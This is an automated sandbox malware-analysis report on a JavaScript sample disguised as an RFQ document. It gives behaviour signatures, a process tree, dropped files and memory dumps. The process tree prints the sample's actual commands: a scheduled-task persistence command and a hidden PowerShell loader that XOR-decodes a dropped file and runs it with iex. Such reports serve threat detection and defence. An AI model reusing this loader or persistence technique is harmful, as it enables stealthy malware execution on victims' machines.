Overview

overview

10

Static

static

1

RFQ-PR1008...662.js

windows10-2004-x64

10

RFQ-PR1008...662.js

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    150s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260706-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    07/07/2026, 11:16

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General

  • Target
    RFQ-PR100887-26-100662.js
  • Size 4.3MB
  • Sample260707-ndldlsgw91
  • SHA256 77df69f929b0e8968f8ebb5d225d986b3eeef4c3a22482436cf0dcfc27a1a676
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
adwareexecutionpersistencespyware

Malware Config

Signatures

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 35 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 51 IoCs
  • Suspicious use of SendNotifyMessage 39 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\RFQ-PR100887-26-100662.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4208
    • C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /tn "PhotoStudioJS" /xml "C:\Users\Admin\AppData\Local\Temp\Task_16429.xml" /f
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:4000
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$h=[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\log_18612_ef66').Trim();Remove-Item 'C:\Users\Admin\AppData\Local\Temp\log_18612_ef66' -Force -EA 0;$n=$h.Length/2;$b=[byte[]]::new($n);for($i=0;$i-lt$n;$i++){$b[$i]=[Convert]::ToByte($h.Substring($i*2,2),16)-bxor0xA5};$sc=[System.Text.Encoding]::UTF8.GetString($b);if($sc.Length-gt0-and[int][char]$sc[0]-eq65279){$sc=$sc.Substring(1)};iex $sc"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:480
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe"
        3⤵
          PID:3768
    • C:\Windows\System32\wscript.exe
      wscript.exe
      1⤵
        PID:5636
      • C:\Windows\system32\sihost.exe
        sihost.exe
        1⤵
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:1212
        • C:\Windows\explorer.exe
          explorer.exe /LOADSAVEDWINDOWS
          2⤵
          • Boot or Logon Autostart Execution: Active Setup
          • Enumerates connected drives
          • Checks SCSI registry key(s)
          • Modifies Internet Explorer settings
          • Modifies registry class
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of SetWindowsHookEx
          PID:2316
      • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
        "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
        1⤵
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:580
      • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
        "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
        1⤵
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:2192

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            prep_Activatable Class_Hermes_perf.cache
            • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
            • Size 599B
            • SHA256 b536a3dae9ea5c69081f0491eed829e3b57e32401fdf49a63031bcd6b20e6fdb
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            Task_16429.xml
            • Path C:\Users\Admin\AppData\Local\Temp\Task_16429.xml
            • Size 1KB
            • SHA256 3a282d14cef01888dd2e35d1a07a3e5d4e09154c341a1a4a6ba4f9f5f6fe1901
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            log_18612_ef66
            • Path C:\Users\Admin\AppData\Local\Temp\log_18612_ef66
            • Size 2.4MB
            • SHA256 e1c00a671eaffcd58a3ed9c5ab49ef4272644b3375201bf28a9baaf7eaca4be7
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            memory/480-13-0x00007FF8F6250000-0x00007FF8F6BF4000-memory.dmp
            Download

            memory/480-49-0x000001D77BAC0000-0x000001D77BB72000-memory.dmp
            Download

            memory/480-10-0x00007FF8F6250000-0x00007FF8F6BF4000-memory.dmp
            Download

            memory/480-11-0x00007FF8F6250000-0x00007FF8F6BF4000-memory.dmp
            Download

            memory/480-9-0x00007FF8F6250000-0x00007FF8F6BF4000-memory.dmp
            Download

            memory/480-5-0x00007FF8F6250000-0x00007FF8F6BF4000-memory.dmp
            Download

            memory/480-14-0x00007FF8F6250000-0x00007FF8F6BF4000-memory.dmp
            Download

            memory/480-15-0x00007FF8F6250000-0x00007FF8F6BF4000-memory.dmp
            Download

            memory/480-17-0x00007FF8F6250000-0x00007FF8F6BF4000-memory.dmp
            Download

            memory/480-18-0x00007FF8F6250000-0x00007FF8F6BF4000-memory.dmp
            Download

            memory/480-16-0x00007FF8F6250000-0x00007FF8F6BF4000-memory.dmp
            Download

            memory/480-20-0x00007FF8F6250000-0x00007FF8F6BF4000-memory.dmp
            Download

            memory/480-19-0x00007FF8F6250000-0x00007FF8F6BF4000-memory.dmp
            Download

            memory/480-4-0x00007FF8F63DF000-0x00007FF8F63E0000-memory.dmp
            Download

            memory/480-8-0x000001D762FF0000-0x000001D763012000-memory.dmp
            Download

            memory/480-44-0x000001D77BA40000-0x000001D77BAB6000-memory.dmp
            Download

            memory/480-221-0x00007FF8F6250000-0x00007FF8F6BF4000-memory.dmp
            Download

            memory/480-219-0x000001D77B670000-0x000001D77B678000-memory.dmp
            Download

            memory/480-48-0x000001D77B650000-0x000001D77B66E000-memory.dmp
            Download

            memory/480-187-0x00007FF8F6250000-0x00007FF8F6BF4000-memory.dmp
            Download

            memory/480-186-0x000001D77B650000-0x000001D77B66E000-memory.dmp
            Download

            memory/480-185-0x000001D77BC80000-0x000001D77BCA4000-memory.dmp
            Download

            memory/480-154-0x00007FF8F6250000-0x00007FF8F6BF4000-memory.dmp
            Download

            memory/480-180-0x000001D77B640000-0x000001D77B64A000-memory.dmp
            Download

            memory/480-184-0x000001D77BC80000-0x000001D77BCAA000-memory.dmp
            Download

            memory/2192-61-0x000002F403890000-0x000002F4038B0000-memory.dmp
            Download

            memory/2192-62-0x000002F413D30000-0x000002F413E30000-memory.dmp
            Download

            memory/2192-96-0x000002F4140B0000-0x000002F4140D0000-memory.dmp
            Download

            memory/2192-50-0x000002F400120000-0x000002F400220000-memory.dmp
            Download

            memory/2192-69-0x000002F403B30000-0x000002F403B50000-memory.dmp
            Download

            memory/2316-222-0x000000000B050000-0x000000000B1DE000-memory.dmp
            Download